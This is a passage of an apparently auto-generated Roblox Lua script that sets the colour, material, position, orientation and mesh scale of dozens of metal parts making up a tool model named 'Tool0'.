  1778. Part90.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1779. BlockMesh91.Parent = Part90
  1780. BlockMesh91.Scale = Vector3.new(0.0333333351, 0.400000066, 0.300000012)
  1781. BlockMesh91.Scale = Vector3.new(0.0333333351, 0.400000066, 0.300000012)
  1782. Part92.Parent = Tool0
  1783. Part92.Material = Enum.Material.Metal
  1784. Part92.BrickColor = BrickColor.new("Black")
  1785. Part92.Rotation = Vector3.new(-90, -90, 0)
  1786. Part92.Anchored = true
  1787. Part92.FormFactor = Enum.FormFactor.Custom
  1788. Part92.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1789. Part92.CFrame = CFrame.new(144.409607, 3.79658198, 144.28093, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  1790. Part92.BottomSurface = Enum.SurfaceType.Smooth
  1791. Part92.TopSurface = Enum.SurfaceType.Smooth
  1792. Part92.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1793. Part92.Position = Vector3.new(144.409607, 3.79658198, 144.28093)
  1794. Part92.Orientation = Vector3.new(0, -90, 90)
  1795. Part92.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1796. BlockMesh93.Parent = Part92
  1797. BlockMesh93.Scale = Vector3.new(0.333333194, 0.0333333388, 0.766666472)
  1798. BlockMesh93.Scale = Vector3.new(0.333333194, 0.0333333388, 0.766666472)
  1799. Part94.Parent = Tool0
  1800. Part94.Material = Enum.Material.Metal
  1801. Part94.BrickColor = BrickColor.new("Dark stone grey")
  1802. Part94.Rotation = Vector3.new(90, 0, -180)
  1803. Part94.Anchored = true
  1804. Part94.FormFactor = Enum.FormFactor.Custom
  1805. Part94.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1806. Part94.CFrame = CFrame.new(143.196274, 4.01657677, 144.347595, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  1807. Part94.BottomSurface = Enum.SurfaceType.Smooth
  1808. Part94.TopSurface = Enum.SurfaceType.Smooth
  1809. Part94.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1810. Part94.Position = Vector3.new(143.196274, 4.01657677, 144.347595)
  1811. Part94.Orientation = Vector3.new(90, 180, 0)
  1812. Part94.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1813. BlockMesh95.Parent = Part94
  1814. BlockMesh95.Scale = Vector3.new(0.299999982, 0.0333333351, 0.200000018)
  1815. BlockMesh95.Scale = Vector3.new(0.299999982, 0.0333333351, 0.200000018)
  1816. Part96.Parent = Tool0
  1817. Part96.Material = Enum.Material.Metal
  1818. Part96.BrickColor = BrickColor.new("Really black")
  1819. Part96.Rotation = Vector3.new(-90, 0, -90)
  1820. Part96.Anchored = true
  1821. Part96.FormFactor = Enum.FormFactor.Custom
  1822. Part96.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1823. Part96.CFrame = CFrame.new(145.482986, 3.83138299, 144.39093, 0, 1.00000083, 1.49011612e-08, 0, -1.49011612e-08, 1.00000083, 1, 0, 0)
  1824. Part96.BottomSurface = Enum.SurfaceType.Smooth
  1825. Part96.TopSurface = Enum.SurfaceType.Smooth
  1826. Part96.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1827. Part96.Position = Vector3.new(145.482986, 3.83138299, 144.39093)
  1828. Part96.Orientation = Vector3.new(-90, -90, 0)
  1829. Part96.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1830. CylinderMesh97.Parent = Part96
  1831. CylinderMesh97.Scale = Vector3.new(0.319999903, 0.036666669, 0.21999988)
  1832. CylinderMesh97.Scale = Vector3.new(0.319999903, 0.036666669, 0.21999988)
  1833. Part98.Parent = Tool0
  1834. Part98.Material = Enum.Material.Metal
  1835. Part98.BrickColor = BrickColor.new("Black")
  1836. Part98.Rotation = Vector3.new(90, 0, 90)
  1837. Part98.Anchored = true
  1838. Part98.FormFactor = Enum.FormFactor.Custom
  1839. Part98.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1840. Part98.CFrame = CFrame.new(143.77626, 3.40990996, 144.39093, 0, -1, 0, 0, 0, -1, 1, 0, 0)
  1841. Part98.BottomSurface = Enum.SurfaceType.Smooth
  1842. Part98.TopSurface = Enum.SurfaceType.Smooth
  1843. Part98.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1844. Part98.Position = Vector3.new(143.77626, 3.40990996, 144.39093)
  1845. Part98.Orientation = Vector3.new(90, -90, 0)
  1846. Part98.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1847. BlockMesh99.Parent = Part98
  1848. BlockMesh99.Scale = Vector3.new(0.666666687, 0.100000024, 0.333333343)
  1849. BlockMesh99.Scale = Vector3.new(0.666666687, 0.100000024, 0.333333343)
  1850. Part100.Parent = Tool0
  1851. Part100.Material = Enum.Material.Metal
  1852. Part100.BrickColor = BrickColor.new("Dark stone grey")
  1853. Part100.Rotation = Vector3.new(90, 0, -180)
  1854. Part100.Anchored = true
  1855. Part100.FormFactor = Enum.FormFactor.Custom
  1856. Part100.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1857. Part100.CFrame = CFrame.new(143.219604, 4.02658176, 144.324265, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  1858. Part100.BottomSurface = Enum.SurfaceType.Smooth
  1859. Part100.TopSurface = Enum.SurfaceType.Smooth
  1860. Part100.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1861. Part100.Position = Vector3.new(143.219604, 4.02658176, 144.324265)
  1862. Part100.Orientation = Vector3.new(90, 180, 0)
  1863. Part100.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1864. CylinderMesh101.Parent = Part100
  1865. CylinderMesh101.Scale = Vector3.new(30, 0.0666662827, 1)
  1866. CylinderMesh101.Scale = Vector3.new(30, 0.0666662827, 1)
  1867. Part102.Parent = Tool0
  1868. Part102.Material = Enum.Material.Metal
  1869. Part102.BrickColor = BrickColor.new("Dark stone grey")
  1870. Part102.Rotation = Vector3.new(90, 0, -180)
  1871. Part102.Anchored = true
  1872. Part102.FormFactor = Enum.FormFactor.Custom
  1873. Part102.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1874. Part102.CFrame = CFrame.new(143.219604, 4.04324293, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  1875. Part102.BottomSurface = Enum.SurfaceType.Smooth
  1876. Part102.TopSurface = Enum.SurfaceType.Smooth
  1877. Part102.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1878. Part102.Position = Vector3.new(143.219604, 4.04324293, 144.337601)
  1879. Part102.Orientation = Vector3.new(90, 180, 0)
  1880. Part102.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1881. BlockMesh103.Parent = Part102
  1882. BlockMesh103.Scale = Vector3.new(0.600000143, 0.0666662827, 0.200000033)
  1883. BlockMesh103.Scale = Vector3.new(0.600000143, 0.0666662827, 0.200000033)
  1884. Part104.Parent = Tool0
  1885. Part104.Material = Enum.Material.Metal
  1886. Part104.BrickColor = BrickColor.new("Dark stone grey")
  1887. Part104.Rotation = Vector3.new(90, 0, -180)
  1888. Part104.Anchored = true
  1889. Part104.FormFactor = Enum.FormFactor.Custom
  1890. Part104.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1891. Part104.CFrame = CFrame.new(143.196274, 4.01657677, 144.434265, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  1892. Part104.BottomSurface = Enum.SurfaceType.Smooth
  1893. Part104.TopSurface = Enum.SurfaceType.Smooth
  1894. Part104.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1895. Part104.Position = Vector3.new(143.196274, 4.01657677, 144.434265)
  1896. Part104.Orientation = Vector3.new(90, 180, 0)
  1897. Part104.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1898. BlockMesh105.Parent = Part104
  1899. BlockMesh105.Scale = Vector3.new(0.299999982, 0.0333333351, 0.200000018)
  1900. BlockMesh105.Scale = Vector3.new(0.299999982, 0.0333333351, 0.200000018)
  1901. Part106.Parent = Tool0
  1902. Part106.Material = Enum.Material.Metal
  1903. Part106.BrickColor = BrickColor.new("Black")
  1904. Part106.Rotation = Vector3.new(-90, 0, 90)
  1905. Part106.Anchored = true
  1906. Part106.FormFactor = Enum.FormFactor.Custom
  1907. Part106.Size = Vector3.new(0.213333324, 0.200000003, 0.200000003)
  1908. Part106.CFrame = CFrame.new(143.67627, 3.76324797, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  1909. Part106.BottomSurface = Enum.SurfaceType.Smooth
  1910. Part106.TopSurface = Enum.SurfaceType.Smooth
  1911. Part106.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1912. Part106.Position = Vector3.new(143.67627, 3.76324797, 144.39093)
  1913. Part106.Orientation = Vector3.new(-90, 90, 0)
  1914. Part106.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1915. BlockMesh107.Parent = Part106
  1916. BlockMesh107.Scale = Vector3.new(1, 0.10000024, 0.333333373)
  1917. BlockMesh107.Scale = Vector3.new(1, 0.10000024, 0.333333373)
  1918. Part108.Parent = Tool0
  1919. Part108.Material = Enum.Material.Metal
  1920. Part108.BrickColor = BrickColor.new("Dark stone grey")
  1921. Part108.Rotation = Vector3.new(90, 0, 90)
  1922. Part108.Anchored = true
  1923. Part108.FormFactor = Enum.FormFactor.Custom
  1924. Part108.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1925. Part108.CFrame = CFrame.new(143.042938, 3.86991811, 144.387604, 0, -1, 0, 0, 0, -1, 1, 0, 0)
  1926. Part108.BottomSurface = Enum.SurfaceType.Smooth
  1927. Part108.TopSurface = Enum.SurfaceType.Smooth
  1928. Part108.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1929. Part108.Position = Vector3.new(143.042938, 3.86991811, 144.387604)
  1930. Part108.Orientation = Vector3.new(90, -90, 0)
  1931. Part108.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1932. CylinderMesh109.Parent = Part108
  1933. CylinderMesh109.Scale = Vector3.new(0.200000018, 0.0333333351, 0.166666597)
  1934. CylinderMesh109.Scale = Vector3.new(0.200000018, 0.0333333351, 0.166666597)
  1935. Part110.Parent = Tool0
  1936. Part110.Material = Enum.Material.Metal
  1937. Part110.BrickColor = BrickColor.new("Dark stone grey")
  1938. Part110.Rotation = Vector3.new(90, 0, -90)
  1939. Part110.Anchored = true
  1940. Part110.FormFactor = Enum.FormFactor.Custom
  1941. Part110.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1942. Part110.CFrame = CFrame.new(144.396271, 3.98323798, 144.28093, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  1943. Part110.BottomSurface = Enum.SurfaceType.Smooth
  1944. Part110.TopSurface = Enum.SurfaceType.Smooth
  1945. Part110.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1946. Part110.Position = Vector3.new(144.396271, 3.98323798, 144.28093)
  1947. Part110.Orientation = Vector3.new(90, 90, 0)
  1948. Part110.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1949. BlockMesh111.Parent = Part110
  1950. BlockMesh111.Scale = Vector3.new(0.0333333351, 0.900000274, 0.0666667521)
  1951. BlockMesh111.Scale = Vector3.new(0.0333333351, 0.900000274, 0.0666667521)
  1952. Part112.Parent = Tool0
  1953. Part112.Material = Enum.Material.Metal
  1954. Part112.BrickColor = BrickColor.new("Dark stone grey")
  1955. Part112.Rotation = Vector3.new(90, -90, 0)
  1956. Part112.Anchored = true
  1957. Part112.FormFactor = Enum.FormFactor.Custom
  1958. Part112.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1959. Part112.CFrame = CFrame.new(144.642929, 3.97324896, 144.474274, 0, 0, -1, -1, 0, 0, 0, 1, 0)
  1960. Part112.BottomSurface = Enum.SurfaceType.Smooth
  1961. Part112.TopSurface = Enum.SurfaceType.Smooth
  1962. Part112.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1963. Part112.Position = Vector3.new(144.642929, 3.97324896, 144.474274)
  1964. Part112.Orientation = Vector3.new(0, -90, -90)
  1965. Part112.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1966. SpecialMesh113.Parent = Part112
  1967. SpecialMesh113.Scale = Vector3.new(0.166666448, 0.100000009, 0.0333333351)
  1968. SpecialMesh113.MeshType = Enum.MeshType.Wedge
  1969. SpecialMesh113.Scale = Vector3.new(0.166666448, 0.100000009, 0.0333333351)
  1970. Part114.Parent = Tool0
  1971. Part114.Material = Enum.Material.Metal
  1972. Part114.BrickColor = BrickColor.new("Dark stone grey")
  1973. Part114.Rotation = Vector3.new(90, 30, 90)
  1974. Part114.Anchored = true
  1975. Part114.FormFactor = Enum.FormFactor.Custom
  1976. Part114.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1977. Part114.CFrame = CFrame.new(144.093567, 3.61211801, 144.39093, 0, -0.866036117, 0.49998188, 0, -0.49998188, -0.866036117, 1, 0, 0)
  1978. Part114.BottomSurface = Enum.SurfaceType.Smooth
  1979. Part114.TopSurface = Enum.SurfaceType.Smooth
  1980. Part114.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1981. Part114.Position = Vector3.new(144.093567, 3.61211801, 144.39093)
  1982. Part114.Orientation = Vector3.new(60, 90, 180)
  1983. Part114.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1984. BlockMesh115.Parent = Part114
  1985. BlockMesh115.Scale = Vector3.new(0.299999982, 0.100000009, 0.166666672)
  1986. BlockMesh115.Scale = Vector3.new(0.299999982, 0.100000009, 0.166666672)
  1987. Part116.Parent = Tool0
  1988. Part116.Material = Enum.Material.Metal
  1989. Part116.BrickColor = BrickColor.new("Black")
  1990. Part116.Rotation = Vector3.new(-90, -90, 0)
  1991. Part116.Anchored = true
  1992. Part116.FormFactor = Enum.FormFactor.Custom
  1993. Part116.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1994. Part116.CFrame = CFrame.new(144.562943, 3.86657596, 144.307602, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  1995. Part116.BottomSurface = Enum.SurfaceType.Smooth
  1996. Part116.TopSurface = Enum.SurfaceType.Smooth
  1997. Part116.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1998. Part116.Position = Vector3.new(144.562943, 3.86657596, 144.307602)
  1999. Part116.Orientation = Vector3.new(0, -90, 90)
  2000. Part116.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2001. BlockMesh117.Parent = Part116
  2002. BlockMesh117.Scale = Vector3.new(0.566666543, 0.100000009, 0.766666234)
  2003. BlockMesh117.Scale = Vector3.new(0.566666543, 0.100000009, 0.766666234)
  2004. Part118.Parent = Tool0
  2005. Part118.Material = Enum.Material.Metal
  2006. Part118.BrickColor = BrickColor.new("Dark stone grey")
  2007. Part118.Rotation = Vector3.new(-90, 0, -180)
  2008. Part118.Anchored = true
  2009. Part118.FormFactor = Enum.FormFactor.Custom
  2010. Part118.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2011. Part118.CFrame = CFrame.new(144.12294, 3.76324296, 144.500931, -1, 0, 0, 0, 0, 1, 0, 1, -0)
  2012. Part118.BottomSurface = Enum.SurfaceType.Smooth
  2013. Part118.TopSurface = Enum.SurfaceType.Smooth
  2014. Part118.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2015. Part118.Position = Vector3.new(144.12294, 3.76324296, 144.500931)
  2016. Part118.Orientation = Vector3.new(-90, -180, 0)
  2017. Part118.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2018. CylinderMesh119.Parent = Part118
  2019. CylinderMesh119.Scale = Vector3.new(0.333333343, 0.0333333351, 3.33333349)
  2020. CylinderMesh119.Scale = Vector3.new(0.333333343, 0.0333333351, 3.33333349)
  2021. Part120.Parent = Tool0
  2022. Part120.Material = Enum.Material.Metal
  2023. Part120.BrickColor = BrickColor.new("Dark stone grey")
  2024. Part120.Rotation = Vector3.new(90, 0, -90)
  2025. Part120.Anchored = true
  2026. Part120.FormFactor = Enum.FormFactor.Custom
  2027. Part120.Size = Vector3.new(0.200000003, 0.300000012, 0.200000003)
  2028. Part120.CFrame = CFrame.new(143.469604, 3.83991194, 144.28093, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  2029. Part120.BottomSurface = Enum.SurfaceType.Smooth
  2030. Part120.TopSurface = Enum.SurfaceType.Smooth
  2031. Part120.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2032. Part120.Position = Vector3.new(143.469604, 3.83991194, 144.28093)
  2033. Part120.Orientation = Vector3.new(90, 90, 0)
  2034. Part120.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2035. CylinderMesh121.Parent = Part120
  2036. CylinderMesh121.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  2037. CylinderMesh121.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  2038. Part122.Parent = Tool0
  2039. Part122.Material = Enum.Material.Metal
  2040. Part122.BrickColor = BrickColor.new("Dark stone grey")
  2041. Part122.Rotation = Vector3.new(90, 0, -90)
  2042. Part122.Anchored = true
  2043. Part122.FormFactor = Enum.FormFactor.Custom
  2044. Part122.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2045. Part122.CFrame = CFrame.new(144.939606, 4.01991081, 144.457596, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  2046. Part122.BottomSurface = Enum.SurfaceType.Smooth
  2047. Part122.TopSurface = Enum.SurfaceType.Smooth
  2048. Part122.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2049. Part122.Position = Vector3.new(144.939606, 4.01991081, 144.457596)
  2050. Part122.Orientation = Vector3.new(90, 90, 0)
  2051. Part122.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2052. BlockMesh123.Parent = Part122
  2053. BlockMesh123.Scale = Vector3.new(0.0666662827, 0.800000548, 0.300000072)
  2054. BlockMesh123.Scale = Vector3.new(0.0666662827, 0.800000548, 0.300000072)
  2055. Part124.Parent = Tool0
  2056. Part124.Material = Enum.Material.Metal
  2057. Part124.BrickColor = BrickColor.new("Dark stone grey")
  2058. Part124.Rotation = Vector3.new(-90, 0, 90)
  2059. Part124.Anchored = true
  2060. Part124.FormFactor = Enum.FormFactor.Custom
  2061. Part124.Size = Vector3.new(0.200000003, 0.466666579, 0.200000003)
  2062. Part124.CFrame = CFrame.new(144.072937, 3.99991298, 144.484268, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  2063. Part124.BottomSurface = Enum.SurfaceType.Smooth
  2064. Part124.TopSurface = Enum.SurfaceType.Smooth
  2065. Part124.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2066. Part124.Position = Vector3.new(144.072937, 3.99991298, 144.484268)
  2067. Part124.Orientation = Vector3.new(-90, 90, 0)
  2068. Part124.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2069. BlockMesh125.Parent = Part124
  2070. BlockMesh125.Scale = Vector3.new(0.13333334, 1, 0.0999999717)
  2071. BlockMesh125.Scale = Vector3.new(0.13333334, 1, 0.0999999717)
  2072. Part126.Parent = Tool0
  2073. Part126.Material = Enum.Material.Metal
  2074. Part126.BrickColor = BrickColor.new("Dark stone grey")
  2075. Part126.Rotation = Vector3.new(90, 0, 90)
  2076. Part126.Anchored = true
  2077. Part126.FormFactor = Enum.FormFactor.Custom
  2078. Part126.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2079. Part126.CFrame = CFrame.new(143.78627, 3.99991298, 144.487595, 0, -1, 0, 0, 0, -1, 1, 0, 0)
  2080. Part126.BottomSurface = Enum.SurfaceType.Smooth
  2081. Part126.TopSurface = Enum.SurfaceType.Smooth
  2082. Part126.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2083. Part126.Position = Vector3.new(143.78627, 3.99991298, 144.487595)
  2084. Part126.Orientation = Vector3.new(90, -90, 0)
  2085. Part126.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2086. SpecialMesh127.Parent = Part126
  2087. SpecialMesh127.Scale = Vector3.new(0.166666299, 0.5333336, 0.100000083)
  2088. SpecialMesh127.MeshType = Enum.MeshType.Wedge
  2089. SpecialMesh127.Scale = Vector3.new(0.166666299, 0.5333336, 0.100000083)
  2090. Part128.Parent = Tool0
  2091. Part128.Material = Enum.Material.Metal
  2092. Part128.BrickColor = BrickColor.new("Dark stone grey")
  2093. Part128.Rotation = Vector3.new(90, 0, -180)
  2094. Part128.Anchored = true
  2095. Part128.FormFactor = Enum.FormFactor.Custom
  2096. Part128.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2097. Part128.CFrame = CFrame.new(144.936279, 4.00324106, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2098. Part128.BottomSurface = Enum.SurfaceType.Smooth
  2099. Part128.TopSurface = Enum.SurfaceType.Smooth
  2100. Part128.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2101. Part128.Position = Vector3.new(144.936279, 4.00324106, 144.444275)
  2102. Part128.Orientation = Vector3.new(90, 180, 0)
  2103. Part128.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2104. BlockMesh129.Parent = Part128
  2105. BlockMesh129.Scale = Vector3.new(0.633333266, 0.0666662827, 0.133333355)
  2106. BlockMesh129.Scale = Vector3.new(0.633333266, 0.0666662827, 0.133333355)
  2107. Part130.Parent = Tool0
  2108. Part130.Material = Enum.Material.Metal
  2109. Part130.BrickColor = BrickColor.new("Dark stone grey")
  2110. Part130.Rotation = Vector3.new(90, 0, -90)
  2111. Part130.Anchored = true
  2112. Part130.FormFactor = Enum.FormFactor.Custom
  2113. Part130.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2114. Part130.CFrame = CFrame.new(144.769608, 3.97324896, 144.467606, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  2115. Part130.BottomSurface = Enum.SurfaceType.Smooth
  2116. Part130.TopSurface = Enum.SurfaceType.Smooth
  2117. Part130.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2118. Part130.Position = Vector3.new(144.769608, 3.97324896, 144.467606)
  2119. Part130.Orientation = Vector3.new(90, 90, 0)
  2120. Part130.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2121. BlockMesh131.Parent = Part130
  2122. BlockMesh131.Scale = Vector3.new(0.0333333351, 0.900000274, 0.166666746)
  2123. BlockMesh131.Scale = Vector3.new(0.0333333351, 0.900000274, 0.166666746)
  2124. Part132.Parent = Tool0
  2125. Part132.Material = Enum.Material.Metal
  2126. Part132.BrickColor = BrickColor.new("Dark stone grey")
  2127. Part132.Rotation = Vector3.new(-90, 0, -90)
  2128. Part132.Anchored = true
  2129. Part132.FormFactor = Enum.FormFactor.Custom
  2130. Part132.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2131. Part132.CFrame = CFrame.new(143.78627, 3.966573, 144.28093, 0, 0.999999762, 0, 0, 0, 0.999999762, 0.999999523, 0, 0)
  2132. Part132.BottomSurface = Enum.SurfaceType.Smooth
  2133. Part132.TopSurface = Enum.SurfaceType.Smooth
  2134. Part132.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2135. Part132.Position = Vector3.new(143.78627, 3.966573, 144.28093)
  2136. Part132.Orientation = Vector3.new(-89.9599991, 0, 0)
  2137. Part132.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2138. SpecialMesh133.Parent = Part132
  2139. SpecialMesh133.Scale = Vector3.new(0.0333333351, 0.5333336, 0.100000083)
  2140. SpecialMesh133.MeshType = Enum.MeshType.Wedge
  2141. SpecialMesh133.Scale = Vector3.new(0.0333333351, 0.5333336, 0.100000083)
  2142. Part134.Parent = Tool0
  2143. Part134.Material = Enum.Material.Metal
  2144. Part134.BrickColor = BrickColor.new("Dark stone grey")
  2145. Part134.Rotation = Vector3.new(-90, 0, -90)
  2146. Part134.Anchored = true
  2147. Part134.FormFactor = Enum.FormFactor.Custom
  2148. Part134.Size = Vector3.new(0.200000003, 0.286666751, 0.200000003)
  2149. Part134.CFrame = CFrame.new(143.5896, 3.93991399, 144.500931, 0, 1, 0, 0, 0, 1, 1, 0, 0)
  2150. Part134.BottomSurface = Enum.SurfaceType.Smooth
  2151. Part134.TopSurface = Enum.SurfaceType.Smooth
  2152. Part134.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2153. Part134.Position = Vector3.new(143.5896, 3.93991399, 144.500931)
  2154. Part134.Orientation = Vector3.new(-90, -90, 0)
  2155. Part134.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2156. SpecialMesh135.Parent = Part134
  2157. SpecialMesh135.Scale = Vector3.new(0.0333333351, 1, 0.166666746)
  2158. SpecialMesh135.MeshType = Enum.MeshType.Wedge
  2159. SpecialMesh135.Scale = Vector3.new(0.0333333351, 1, 0.166666746)
  2160. Part136.Parent = Tool0
  2161. Part136.Material = Enum.Material.Metal
  2162. Part136.BrickColor = BrickColor.new("Black")
  2163. Part136.Rotation = Vector3.new(0, 90, 0)
  2164. Part136.Anchored = true
  2165. Part136.FormFactor = Enum.FormFactor.Custom
  2166. Part136.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2167. Part136.CFrame = CFrame.new(144.469604, 3.88990903, 144.500931, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  2168. Part136.BottomSurface = Enum.SurfaceType.Smooth
  2169. Part136.TopSurface = Enum.SurfaceType.Smooth
  2170. Part136.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2171. Part136.Position = Vector3.new(144.469604, 3.88990903, 144.500931)
  2172. Part136.Orientation = Vector3.new(0, 90, 0)
  2173. Part136.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2174. SpecialMesh137.Parent = Part136
  2175. SpecialMesh137.Scale = Vector3.new(0.0333333351, 0.333333462, 0.166666642)
  2176. SpecialMesh137.MeshType = Enum.MeshType.Wedge
  2177. SpecialMesh137.Scale = Vector3.new(0.0333333351, 0.333333462, 0.166666642)
  2178. Part138.Parent = Tool0
  2179. Part138.Material = Enum.Material.Metal
  2180. Part138.BrickColor = BrickColor.new("Dark stone grey")
  2181. Part138.Rotation = Vector3.new(90, 0, -180)
  2182. Part138.Anchored = true
  2183. Part138.FormFactor = Enum.FormFactor.Custom
  2184. Part138.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2185. Part138.CFrame = CFrame.new(144.939606, 4.05324411, 144.324265, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2186. Part138.BottomSurface = Enum.SurfaceType.Smooth
  2187. Part138.TopSurface = Enum.SurfaceType.Smooth
  2188. Part138.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2189. Part138.Position = Vector3.new(144.939606, 4.05324411, 144.324265)
  2190. Part138.Orientation = Vector3.new(90, 180, 0)
  2191. Part138.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2192. CylinderMesh139.Parent = Part138
  2193. CylinderMesh139.Scale = Vector3.new(19.1999893, 0.0666666701, 0.800000072)
  2194. CylinderMesh139.Scale = Vector3.new(19.1999893, 0.0666666701, 0.800000072)
  2195. Part140.Parent = Tool0
  2196. Part140.Material = Enum.Material.Metal
  2197. Part140.BrickColor = BrickColor.new("Dark stone grey")
  2198. Part140.Rotation = Vector3.new(-180, 0, 0)
  2199. Part140.Anchored = true
  2200. Part140.FormFactor = Enum.FormFactor.Custom
  2201. Part140.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2202. Part140.CFrame = CFrame.new(144.936279, 4.09991121, 144.387604, 1, 0, 0, 0, -1, 0, 0, 0, -1)
  2203. Part140.BottomSurface = Enum.SurfaceType.Smooth
  2204. Part140.TopSurface = Enum.SurfaceType.Smooth
  2205. Part140.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2206. Part140.Position = Vector3.new(144.936279, 4.09991121, 144.387604)
  2207. Part140.Orientation = Vector3.new(0, 180, 180)
  2208. Part140.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2209. SpecialMesh141.Parent = Part140
  2210. SpecialMesh141.Scale = Vector3.new(0.0729996637, 0.0666666701, 0.0700000226)
  2211. SpecialMesh141.MeshType = Enum.MeshType.Sphere
  2212. SpecialMesh141.Scale = Vector3.new(0.0729996637, 0.0666666701, 0.0700000226)
  2213. Part142.Parent = Tool0
  2214. Part142.Material = Enum.Material.Metal
  2215. Part142.BrickColor = BrickColor.new("Black")
  2216. Part142.Rotation = Vector3.new(0, 90, 0)
  2217. Part142.Anchored = true
  2218. Part142.FormFactor = Enum.FormFactor.Custom
  2219. Part142.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2220. Part142.CFrame = CFrame.new(144.442932, 3.84324694, 144.28093, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  2221. Part142.BottomSurface = Enum.SurfaceType.Smooth
  2222. Part142.TopSurface = Enum.SurfaceType.Smooth
  2223. Part142.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2224. Part142.Position = Vector3.new(144.442932, 3.84324694, 144.28093)
  2225. Part142.Orientation = Vector3.new(0, 90, 0)
  2226. Part142.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2227. SpecialMesh143.Parent = Part142
  2228. SpecialMesh143.Scale = Vector3.new(0.0333333351, 0.1333334, 0.0999999866)
  2229. SpecialMesh143.MeshType = Enum.MeshType.Wedge
  2230. SpecialMesh143.Scale = Vector3.new(0.0333333351, 0.1333334, 0.0999999866)
  2231. Part144.Parent = Tool0
  2232. Part144.Material = Enum.Material.Metal
  2233. Part144.BrickColor = BrickColor.new("Dark stone grey")
  2234. Part144.Rotation = Vector3.new(-90, 0, 90)
  2235. Part144.Anchored = true
  2236. Part144.FormFactor = Enum.FormFactor.Custom
  2237. Part144.Size = Vector3.new(0.200000003, 0.906666756, 0.200000003)
